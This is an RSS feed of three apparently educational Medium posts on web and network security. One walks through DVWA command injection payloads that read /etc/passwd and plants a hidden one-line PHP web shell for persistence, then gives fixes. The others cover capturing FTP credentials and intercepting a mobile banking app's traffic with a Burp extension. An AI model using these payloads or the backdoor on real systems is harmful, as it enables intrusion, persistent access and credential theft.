<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Juan Tirtayana on Medium]]></title>
        <description><![CDATA[Stories by Juan Tirtayana on Medium]]></description>
        <link>https://medium.com/@juan.tirtayana?source=rss-8712e45da8f8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*a0XxNOE2ScvX_rKXx-Perw.gif</url>
            <title>Stories by Juan Tirtayana on Medium</title>
            <link>https://medium.com/@juan.tirtayana?source=rss-8712e45da8f8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 01:11:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@juan.tirtayana/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DVWA v1.10: Command Injection All Difficulty (Attack Phase & Securing The Code)]]></title>
            <link>https://medium.com/@juan.tirtayana/dvwa-v1-10-command-injection-all-difficulty-attack-phase-securing-the-code-70de3eec564f?source=rss-8712e45da8f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/70de3eec564f</guid>
            <category><![CDATA[command-injection]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dvwa]]></category>
            <dc:creator><![CDATA[Juan Tirtayana]]></dc:creator>
            <pubDate>Sun, 22 Mar 2020 13:27:57 GMT</pubDate>
            <atom:updated>2022-05-19T14:25:41.549Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*XrEWAu1sgFkZ4IQtG3DMmg.gif" /><figcaption><a href="https://www.pinterest.dk/pin/637822365955419321/">https://www.pinterest.dk/pin/637822365955419321/</a></figcaption></figure><blockquote><em>For this topic, I will play with some Command Injection Vulnerability with the help from DVWA with version 1.10. I will break down this topic into 2 phases (Attack &amp; Securing The Code). Why did I open the topic with the attack phase first? because we already get the source code from the beginning (assuming this is white-box testing), I will explain what the source code does later and how to prevent the attack.</em></blockquote><h3>1. Attack Phase</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*gXeUm4w9SlTpB5SyayUZrw.png" /><figcaption><strong>So in the Command Injection tab, the system asks for user input and asks for an IP address to be filled in the IP Address form.</strong></figcaption></figure><h4>Command Injection: Low</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*CPjF4TRgPBbDZV-1XUeU-w.png" /><figcaption><strong>Source Code (Low)</strong></figcaption></figure><p>From the source code above you can input a random integer or any character instead of the IP Address, The system did not validate user input so that you can input anything(1). You can use any operator (meta-characters) to trick the shell into executing arbitrary commands(2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*0H4AAfgAptifTTZz6iNhrw.png" /><figcaption><strong>I’m using this payload “1;cat /etc/passwd”</strong></figcaption></figure><p>After the shell executes <strong>“1;”</strong> the shell will execute this <strong>cat /etc/passwd</strong> afterward, because the shell thinks it was still 1 shell command.</p><h4>Command Injection: Medium</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*Zf79Vzyeehkb0XnGFcc_PA.png" /><figcaption><strong>Source code (Medium)</strong></figcaption></figure><p>From the source code above you can still input a random integer or any character instead of the IP Address, The system did not validate user input so that you can input anything(1). There are 2 characters that the system substituted <strong>&amp;&amp;</strong> and <strong>;</strong> so when you input one of these characters the system will do substitutions function and the character will be replaced as a blank in the array(2). You can use any other operator (meta-characters) to trick the shell into executing arbitrary commands(3)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*YvvLKw-Pgi5NklaKi3YgVQ.png" /><figcaption><strong>I’m using this payload“1&amp;cat /etc/passwd”</strong></figcaption></figure><p>After the shell executes <strong>“1&amp;”</strong> the shell will execute this <strong>cat /etc/passwd </strong>afterward because the shell will think when executing <strong>“1&amp;” </strong>there is still shell command that needs to be executed and the next command the shell will be executed is <strong>cat /etc/passwd</strong>.</p><h4>Command Injection: High</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*lmi69dtX4YEqmPYGcaDI1Q.png" /><figcaption><strong>Source code (High)</strong></figcaption></figure><p>From the source code above you can still input a random integer or any character instead of the IP Address, because the system did not validate user input, so you can input anything also the admin use a <strong>trim</strong> function so any extra space in the first array [0] and the last array[∞] will be removed (1). There are several characters that the system will substitute, so when you input one of these characters the system will do asubstitutions function and the character will be replaced as a blank in the array(2). You can only use 2 operators (meta-characters) to trick the shell into executing arbitrary commands, in this case, you can use “|” without any space after that because the system will replace the “| “ if you use extra space. And also “|| “(3)</p><p><strong>but how? is that operator already filtered and why is it still working?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/1*UlvDng7rcNcY22v1yLr_uw.png" /></figure><p>When you input <strong>“1|| cat/etc/passwd” </strong>the additional <strong>“| ” </strong>will be replaced as a blank in the array and the final payload will look like this</p><p><strong>“1|cat/etc/passwd”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*dK-MtEcsPIvP9bq2Hoi_5A.png" /><figcaption><strong>I’m using this payload“1|cat /etc/passwd”</strong></figcaption></figure><p>After the shell executes <strong>“1|” </strong>the shell will execute this <strong>cat /etc/passwd</strong> afterward because the shell will think when executing <strong>“1|” </strong>there is still shell command that needs to be executed and the next command the shell will be executed is <strong>cat /etc/passwd</strong>.</p><h4>Command Injection: Crafting and Planting Backdoor</h4><p>Now I wanna craft and plant the backdoor so next time I can easily RCE even after the admin fix/secure the vulnerability. First craft your payload by using the echo command, you can make a .php file and write code in it using 1 line command only:</p><pre>echo &quot;&lt;?php \$var=shell_exec(\$_GET[&#39;input&#39;]); echo \$var?&gt;&quot; &gt; .backdoor.php</pre><p>A little explanation here, so I’m using the variable <strong>$var</strong> to store <strong>shell_exec</strong> result from my input here<strong> $_GET[‘input’] </strong>and after that show the output using echo <strong>$var</strong>, in here I’m making the backdoor.php file hidden so when the admin check in the current directory it will show nothing by adding 1 dot in front of the file name like this <strong>“.backdoor.php”</strong>. Note: Or you can use system() function in PHP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*Q-yfQEayIYByTL2_x3XYhA.png" /><figcaption><strong>Now I try to upload the backdoor and see the result after submitting the payload</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*KjO3x9_ZLxd4Tw5ErWIMEg.png" /><figcaption><strong>I try this command at my browser tab</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ZK_TDkcw5NlW6icsMPIhpA.png" /><figcaption><strong>Yep it works</strong></figcaption></figure><p>Now let’s see if the admin check in the current directory using “<strong>ls -l</strong>” command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*9ZsI8Sc0D8T96fXaKzecuw.png" /></figure><p>Yep, nothing. Our backdoor is safe from detection for a while LOL.</p><blockquote><em>For the Impossible difficulty, it was made for comparing source code of other difficulties like Low, Medium &amp; High so you can say that Impossible really really Impossible since every user input already sanitized, so you must input real</em><strong><em> IP Address format</em></strong><em>. But in the source code, something is interesting from the Impossible difficulty, there is some code you must fix/secure it (Scroll to </em><strong><em>Securing The Code</em></strong><em>).</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*5cY8axr2H_dIDfodN66S-Q.png" /></figure><h3>2. Securing The Code</h3><p>There are 2 things you can do if you want to make this Command Injection Code a lot more secure:</p><p><strong>1. Escaping Shell Arguments</strong></p><p>In this case, in every source code difficulty, they are still using <strong>shell_exec() </strong>PHP function without including <strong>escapeshellarg() </strong>function in it, even the impossible one too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*897k4bnLIoA62F0pVbOoVg.png" /><figcaption><strong>As you can see, the Impossible source code still uses shell_exec() without escapeshellarg() in it, this can be a vulnerability since some meta-character not escaped when passing through the shell function.</strong></figcaption></figure><p>Using <strong>escapeshellarg() </strong>so every meta-character in a string will be escaped and the string will be added a quote around it and the string can be passed directly to the shell and will be treated as a single safe argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*KwU4DFWRi0LgJwvEhgrauA.png" /><figcaption><strong>Even the Lowest Difficulty is already secured now</strong></figcaption></figure><blockquote>Note: by using <strong>escapeshellarg()</strong> the Low, Medium &amp; High Difficulty can be more secure without validation, even when the user input other than IP Address format. Example: the user input<strong> “test”</strong>.</blockquote><p><strong>2. Validate user input</strong></p><p>So when looking at every source code difficulty the main purpose of the code is to ping a specific IP Address. But since the code in Low, Medium &amp; High Difficulty did not validate user input, so every user can randomly input anything (Ex: Character and anything instead of the IP Address format itself). Therefore you must validate user input. If the user wants to input anything else instead of the IP Address format the system will decline the request and send an error message such as <strong>“You have entered an invalid IP”</strong>. So by only validating user input then every malicious input can be sanitized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dpfwc-h7pQmu5iqmCuJnVQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70de3eec564f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intercepting FTP Service  & Retrieve User Credential]]></title>
            <link>https://medium.com/@juan.tirtayana/intercepting-ftp-service-retrieve-user-credential-f52b21a15773?source=rss-8712e45da8f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f52b21a15773</guid>
            <category><![CDATA[white-hat-hacker]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[cyber-defense]]></category>
            <category><![CDATA[intercepts]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Juan Tirtayana]]></dc:creator>
            <pubDate>Sat, 14 Mar 2020 14:22:45 GMT</pubDate>
            <atom:updated>2022-05-19T14:32:12.237Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intercepting FTP Service &amp; Retrieve User Credential</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*yxQOaRNjlrc81vbEmZWHaQ.gif" /><figcaption><a href="https://www.pinterest.com/pin/436286282650692777/">https://www.pinterest.com/pin/436286282650692777/</a></figcaption></figure><blockquote>After learning the mechanism of Intercepting Non-HTTP Request, now I will try to Intercept FTP Service. So I running 1 VM as a User/Client, and this user attempting to log in to the FTP Service and do some Uploading &amp; Downloading files from there.</blockquote><p>Before move to the intercepting phase, I need to do some passive reconnaissance on a Server that is running FTP Service. In this scenario, I’m using my friend Running Server {Chill :) I have already contacted my friend and asked for his permission, this is just for educational purposes only}.</p><p>With help from Nmap, I try to scan every Open Port:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/232/1*AODI9Zq665mdzEHE68WF7g.png" /></figure><p>Now I’m going to see what version of the running FTP Service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*1OAp-b6U5csYv2fzHvm9Gw.png" /></figure><p>Since I’m using Windows OS to running Burp Suite now I need to make sure that my VM is in the same network with my running Burp Suite Extension (NoPE Proxy):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*SpNBZp03cFPiVYch7mYfLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*ivwiJ2Tgj5_UivJriFf9vw.png" /></figure><p>Done…Now I need to configure my VM DNS Address, so it will be the same as the NoPE Proxy Address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*nC1hwwpk3BodOXLglmsqZw.png" /></figure><p>Move to the next step, send a request to the targeted server, and monitor the Request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*a1dQBw24EpEqTXV6-0Jctw.png" /><figcaption><strong>Note: It’s ok if this message pop up, this means that the request has already been sent once, but our NoPE Proxy not forwarding the request to the target host.</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KF6lD3OSJFRUy6vzdwziHQ.png" /><figcaption><strong>This is the result, I can monitor any request from the targeted user.</strong></figcaption></figure><p>Next step, I configured the Non-HTTP Proxy and set the Server Address, Server Port, and Listener Port according to the request information that I already captured. Then just enable it if the configuration is already finished.</p><p>Now I need to check if the FTP Service allows anonymous login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*W4FrlgtC4SYt0sDcKSJHWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DAt7jcNrGyMdcCp3tWYO2g.png" /><figcaption><strong>You can see that after we sent a request, we can monitor every request and respond from the client and also the server in TCP History Tab</strong></figcaption></figure><p>Hmmm… it seems that the FTP Service Disable any anonymous login, so I ask my friend to make me a low privilege user credential, to login to the FTP Service…</p><h4><strong>Intercepting Time</strong></h4><p>Now I move to TCP Intercept Tab, turn on the intercept button, and get ready to intercept every user input:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*q86MfNuQ5ylWnJKItMX6qw.png" /><figcaption><strong>Make sure the Intercept Button is On (In this case I only want to intercept client requests so I click the C2S Radio Button)</strong></figcaption></figure><p>Now I try to input the user credential that my friend gave to me:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YHdwCRg9cOekjriZzN9T2w.png" /><figcaption><strong>As you can see, I can retrieve the client&#39;s Username</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAAFoTKzt1ocbBpvMTKbbQ.png" /><figcaption><strong>Here is the result for the password that the client input before (Don’t worry, I already ask to delete the Account from the server)</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mofey54tqZVi1CN1pTDXw.png" /><figcaption><strong>We can see that the user entering passive mode so the user can do Directory Listing</strong></figcaption></figure><p>Here in the TCP History Tab you can monitor every request and response from the client and server. So you can retrieve anything that the client inputs (Ex: Username, Password &amp; Command)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7nHZgPT7aC44u4MG92vvkQ.png" /><figcaption><strong>The client download file from the FTP Server</strong></figcaption></figure><blockquote>Note: You can modify the request using TCP Intercept Tab before the client sends the request to the server or Server send a response to the Client.</blockquote><h4>Prevention</h4><ol><li><strong>Disable Anonymous Login Configuration.</strong></li><li><strong>Hiding Banner:</strong> so when anyone wants to enumerate the FTP Banner, He gets nothing from it, because The version of the service is already hidden (If the service version leaked then anyone can search for the exploit on the internet and use it)</li><li><strong>Using SSL Certification:</strong> so every request and response information from the client and server can be encrypted, preventing any sniffing method and intercept method. By installing SSL Certification in FTP Server, your FTP Server can be more secure (FTPS).</li><li><strong>Using SFTP:</strong> by using SFTP every data transfer and connection will be a lot more secure because you use SSH Port to transfer data and every request is encrypted over SSH. Every SSH server provides SFTP so just feel free to use it.</li><li><strong>Set iptable rule for account lockout:</strong> by set iptable rule policy every anonymous user cannot perform a brute-force attack since you can limit the number of login attempts and also lock the user for certain minutes if the user input the wrong password several times (You can use FTP Server log to see every IP Address who are trying to perform brute-force attack).</li><li><strong>Allow or Filter Specific IPs that can connect to the FTP Server.</strong></li></ol><blockquote>Note: you can also use the port forwarding method if you want a specific person to access your FTP server, so you know who exactly the person outside your private network who connects to your internal network.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f52b21a15773" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intercepting Non-HTTP Request Using Burp Suite + Extension]]></title>
            <link>https://medium.com/@juan.tirtayana/intercepting-non-http-request-using-burp-suite-extension-8c264b3c41d1?source=rss-8712e45da8f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c264b3c41d1</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[intercepts]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[white-hat-hacker]]></category>
            <dc:creator><![CDATA[Juan Tirtayana]]></dc:creator>
            <pubDate>Thu, 05 Mar 2020 19:28:07 GMT</pubDate>
            <atom:updated>2022-05-19T14:41:21.634Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intercepting Non-HTTP Request Using Burp Suite + Extension (NoPE Proxy)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*x0AIPp-eimRlOxkxzVB6sw.gif" /><figcaption><a href="http://www.lowgif.com/19e4bac1e7f2251f.html">http://www.lowgif.com/19e4bac1e7f2251f.html</a></figcaption></figure><blockquote>So for this topic i will share some of my knowledge that i have learned, we gonna Intercepting Non-HTTP Request using Burp Suite. As we know that Burp Suite is one of many powerful hacking tools if you can manage to combine the Burp Suite with some of the Extension that available.</blockquote><p>First, get your Burp Suite ready for the battle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*i9Aml3KvYjXYhmu8553u2g.png" /><figcaption><strong>Make sure the intercept button is off</strong></figcaption></figure><p>Now we are going to install Non-HTTP Protocol Extension Proxy <strong><em>(NoPE Proxy) </em></strong>in our Burp Suite. But first, we need to download the extension from here:</p><pre><a href="https://github.com/summitt/Burp-Non-HTTP-Extension/releases">https://github.com/summitt/Burp-Non-HTTP-Extension</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJZtlydTa1DRMgCfAYBxGQ.png" /><figcaption><strong>This is the output after you load the extension to your Burp Suite (This Extension will automatically detect your interface &amp; your IP Address)</strong></figcaption></figure><blockquote>After successfully install the extension you can go to the NoPE Proxy tab to do some configuration, so you can intercept Non-HTTP Request</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*DhkFB4MJ3YzsWSuNCkepvQ.png" /><figcaption><strong>This is the NoPE Proxy Tab Display</strong></figcaption></figure><p>Now, with help from your networking knowledge, we are going to do some configuration to our DNS Server that NoPE Proxy Extension provides, so we can capture every request from a device that we want to intercept. In this case, I’m going to use my Mobile Device to intercept not only my Mobile Device Browser HTTP request but any running mobile application request too. Let’s do some configuration…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5q6QaF0oZO9yBWlrTJuWDg.png" /></figure><h4>There are 2 things that you need to configure before starting to intercept the request:</h4><ol><li><strong>Interface Configuration: </strong>in this part, you need to configure which interface the DNS Server will be placed, in this case, I’m using wlan0 interface so I will input <strong><em>0</em></strong></li><li><strong>DNS Listener Port: </strong>in this part, you need to configure what DNS Port number you want to set as a listener Port. In this case, I’m using the default port number so I set it to <strong><em>53</em></strong></li></ol><p>After finishing, the configuration above you just needs to run the DNS Server so we can capture every DNS traffic request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bifIekCql0yQwP2mZx_loQ.png" /></figure><blockquote><strong>*For your information i’m using the same network for my computer and my Mobile Device , so every DNS request from my mobile device can be re-route to my Burp Suite DNS Server. After that we can filter which request we want to intercept.</strong></blockquote><h4>Now we move to the next step, we need to configure our Mobile Device Network, there are several things you need to configure:</h4><ul><li><strong>IP Address Setting: </strong>check for your mobile device&#39;s IP Address Setting because on my mobile device, if you want to change the DNS Server Address you need to set the IP Address Setting to static then the DNS Server Address option can be unlocked. Don’t forget to input your current Mobile Device IP Address in this case my Mobile Device IP Address is <strong><em>192.168.100.5</em></strong></li></ul><blockquote><strong>*Skip this part if your Mobile Device Network can do DHCP and also Set the DNS Server Address without switching the IP Address setting to static mode</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*4jBzxJEEnlRSQz5ZslHpSA.png" /></figure><ul><li><strong>DNS Server Address Setting: </strong>check for your DNS Server Address Setting in your Mobile Device Settings then change it with DNS Response IP in NoPE Proxy Tab (IP Address of the running burp suite device). In this case, Iwill input <strong><em>192.168.100.3</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgUhUrXM3BezGXwwKGaSjg.png" /></figure><ul><li><strong>Certificate Setting: </strong>since your mobile device is already configured to access SSL/TLS requests then you need to import the Burp CA Certificated to your mobile device, so your mobile device is able to generate the Encrypted Binary/Non-HTTP Protocols. Below is the link tutorial to configure Certificate Setting on your mobile device:</li></ul><pre><a href="https://portswigger.net/support/installing-burp-suites-ca-certificate-in-an-android-device">https://portswigger.net/support/installing-burp-suites-ca-certificate-in-an-android-device</a></pre><p>After all configurations of your mobile device is ready then we are ready to intercept all of your mobile device traffic requests. Now we moved to DNS History Tab to see the request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GPI03wnCKIomU2kNvs-eCQ.png" /><figcaption><strong>This is all of the DNS requests from my Mobile Device, as you can see I open the Google Maps Application on my Mobile Device</strong></figcaption></figure><p>If you want to monitor your Mobile Device Browser HTTP Request you can just add invisible proxy listeners to Burp HTTP Proxy using this button:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tm0RQDkEtFORyIamdFSZvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*RsjklvbB_8nYY82aMCnpHA.png" /><figcaption><strong><em>Here is the result after you add some invisible proxy listeners (You can change the Port Number as you like)</em></strong></figcaption></figure><p>Now I will open my Mobile Device Browser and go to <a href="https://www.google.com/"><strong><em>www.google.com</em></strong></a> just to make sure that I can see the request in HTTP History Tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nH7mFffDfjr8jOVulQYnIQ.png" /><figcaption><strong><em>Yep, it works…</em></strong></figcaption></figure><p>Now I want to Port Monitoring my Mobile Device Application Request, so I just turn on the Port Monitor Button so we can see what port my Mobile Application Request use here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BheyeL5tkGSZ_W4M2e5dHg.png" /></figure><p>Now I’m going to test Mobile Banking Application just to make sure if it&#39;s really working so now I open the Mobile Banking Application from my Mobile Device:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oxBppR2FrI33fRNDD8hpzA.png" /><figcaption><strong><em>Here is the result, as you can see that the Mobile Banking Server running at Port 33303. This port has been used by the server to receive every request from the client.</em></strong></figcaption></figure><p>Now we move to the special part, Intercepting Non-HTTP Request =)) but first we must configure Non-HTTP Proxy, so we can monitor the Request of my Specific Mobile Device Application that already running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vCOt39uFd5L6_wWFhz20DQ.png" /></figure><h4>There are 4 steps you need to do, so the Non-HTTP Proxy can work correctly:</h4><ol><li><strong>Configure the Server Address: </strong>you just need to enter the Server Address of the specific target</li><li><strong>Configure the Server Port &amp; Listen Port: </strong>for the Server Port just enter the same port number that you found from DNS History Tab, in this case, I’m using Port Number <strong><em>33303</em></strong>. Do the same for the Listener Port. (Since the requested service is not SSL, you don&#39;t need to check the box on the right side of the Listener Port)</li><li><strong>After that feel free to Add the Non-HTTP Proxy</strong></li><li><strong>Don’t forget to Enable the Proxy</strong></li><li><strong>Don’t forget to restart the Targeted Mobile Application that already Running so the intercept can work correctly</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*GuM6Qa_KlZs6tRXc4i-6Lw.png" /><figcaption><strong>After restarting the Mobile Application, head back to TCP History Tab</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjYFSGCCz2Bxjj0N6hjkOA.png" /><figcaption><strong>As the result, you can monitor every request from the client to server (c2s)/server to client (s2c) of the running Mobile Application Request.</strong></figcaption></figure><p><strong>Intercepting Time:)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*kzUSPYHTDHd1z9ywuL904Q.png" /><figcaption><strong>Now just click the Intercept Button, after that, I re-open my mobile banking application, so I can intercept the incoming/outgoing request</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*7AtcePON9vpF_DhjHlSB8A.png" /><figcaption><strong>Now you just need to forward the request after you do some modification to it</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uSk7BKzw0dkbyGN4w5pyZw.png" /><figcaption><strong>Just do forwarding request until the request from c2s and s2c is done (or you can modify the request before forwarding it back to the server or client)</strong></figcaption></figure><blockquote>Note: There is one thing that you must know, some Non-HTTP Request use simple string (unencrypted) to send information request and it can be much easier for attacker to modify the request (Example: FTP/TELNET). But for certain request are using serialized objects or protobuffs (Encrypted, Example: SSH,FTPS,SFTP), so you must decrypt the request using the help of raw tab or hex tab (note: using Python Mangler Function) so the request can be human readable and easy to modify before send it to the server or client. (Since every Mobile Application using different encryption method then you must fuzzing/guess what method the Mobile Application use to encrypt the request information. By learning the encryption method that the Mobile Application use, you can decrypt the request correctly and then do some modification before forwarding the request to the server or client). By using Automation Tab you can replace / match the request information before send the request to client or server. You can use TCP Repeater to replay request on currently connected state. (Tips: You can use Python Mangler Function and modify the script, so you can decrypt the request)</blockquote><p>Special thanks to this person for the Burp Suite Extension:</p><pre><a href="https://github.com/summitt">https://github.com/summitt</a></pre><h4>That’s all for today folks, Thanks…</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c264b3c41d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>